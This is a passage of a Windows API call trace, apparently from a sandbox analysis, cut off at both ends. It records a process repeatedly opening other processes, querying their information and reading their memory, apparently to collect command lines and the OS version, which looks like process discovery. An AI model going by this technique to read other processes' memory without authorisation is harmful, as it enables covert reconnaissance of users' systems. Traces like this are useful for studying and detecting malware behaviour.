GetLastError () returned 0x0 [0357.826] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.826] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.826] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.826] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.826] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.826] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.826] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.827] malloc (_Size=0x6e) returned 0xea97a0 [0357.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722be, lpBuffer=0xea97a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.827] free (_Block=0xea97a0) [0357.828] CloseHandle (hObject=0xa9c) returned 1 [0357.828] _ui64tow_s (in: _Value=0x548, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1352") returned 0x0 [0357.828] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1352") returned 4 [0357.828] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.828] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.829] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x548) returned 0xa9c [0357.829] GetLastError () returned 0x0 [0357.829] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.829] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.829] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.829] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.829] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2258, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.830] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.830] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.830] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.830] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.830] malloc (_Size=0x5a) returned 0xeb6770 [0357.830] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a22aa, lpBuffer=0xeb6770, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0357.831] free (_Block=0xeb6770) [0357.831] CloseHandle (hObject=0xa9c) returned 1 [0357.831] _ui64tow_s (in: _Value=0xe98, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3736") returned 0x0 [0357.832] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3736") returned 4 [0357.832] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.832] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.833] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe98) returned 0xa9c [0357.833] GetLastError () returned 0x0 [0357.833] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.833] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.833] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.835] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.835] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.836] malloc (_Size=0x5c) returned 0xeb61c0 [0357.836] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ac, lpBuffer=0xeb61c0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0357.836] free (_Block=0xeb61c0) [0357.836] CloseHandle (hObject=0xa9c) returned 1 [0357.836] _ui64tow_s (in: _Value=0xcdc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3292") returned 0x0 [0357.837] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3292") returned 4 [0357.837] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.837] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.838] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcdc) returned 0xa9c [0357.838] GetLastError () returned 0x0 [0357.838] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.838] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.838] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.838] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.838] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.838] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.838] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.838] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.839] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.839] malloc (_Size=0x70) returned 0xea91a0 [0357.839] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422c0, lpBuffer=0xea91a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea91a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.840] free (_Block=0xea91a0) [0357.840] CloseHandle (hObject=0xa9c) returned 1 [0357.840] _ui64tow_s (in: _Value=0xe04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3588") returned 0x0 [0357.841] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3588") returned 4 [0357.841] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.841] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.842] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe04) returned 0xa9c [0357.842] GetLastError () returned 0x0 [0357.842] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.842] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.842] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.842] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.842] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.842] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.843] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.843] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.843] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.843] malloc (_Size=0x6a) returned 0xea8ba0 [0357.843] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea8ba0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0357.844] free (_Block=0xea8ba0) [0357.844] CloseHandle (hObject=0xa9c) returned 1 [0357.844] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0357.845] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2228") returned 4 [0357.845] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.845] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.846] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0xa9c [0357.846] GetLastError () returned 0x0 [0357.846] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.846] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.846] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.846] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.846] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.846] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.847] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.847] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.847] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x271c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.847] malloc (_Size=0x5e) returned 0xeb64d0 [0357.847] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2722ae, lpBuffer=0xeb64d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0357.848] free (_Block=0xeb64d0) [0357.848] CloseHandle (hObject=0xa9c) returned 1 [0357.848] _ui64tow_s (in: _Value=0xbcc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3020") returned 0x0 [0357.848] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3020") returned 4 [0357.848] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.848] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.850] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbcc) returned 0xa9c [0357.850] GetLastError () returned 0x0 [0357.850] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.850] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.850] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.851] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.851] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.851] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.851] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.851] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.851] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.852] malloc (_Size=0x74) returned 0xea8f20 [0357.852] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922c4, lpBuffer=0xea8f20, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0357.852] free (_Block=0xea8f20) [0357.852] CloseHandle (hObject=0xa9c) returned 1 [0357.852] _ui64tow_s (in: _Value=0x10f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4344") returned 0x0 [0357.853] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4344") returned 4 [0357.853] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.853] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.854] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10f8) returned 0xa9c [0357.854] GetLastError () returned 0x0 [0357.854] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.854] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.854] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.854] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.854] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.854] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.855] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.855] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.855] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x501c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.855] malloc (_Size=0x6c) returned 0xea9120 [0357.855] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5022bc, lpBuffer=0xea9120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9120*, lpNumberOfBytesRead=0x0) returned 1 [0357.856] free (_Block=0xea9120) [0357.856] CloseHandle (hObject=0xa9c) returned 1 [0357.856] _ui64tow_s (in: _Value=0x1100, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4352") returned 0x0 [0357.856] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4352") returned 4 [0357.856] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.856] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.857] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1100) returned 0xa9c [0357.857] GetLastError () returned 0x0 [0357.857] NtQueryInformationProcess (in: ProcessHandle=0xa9c, 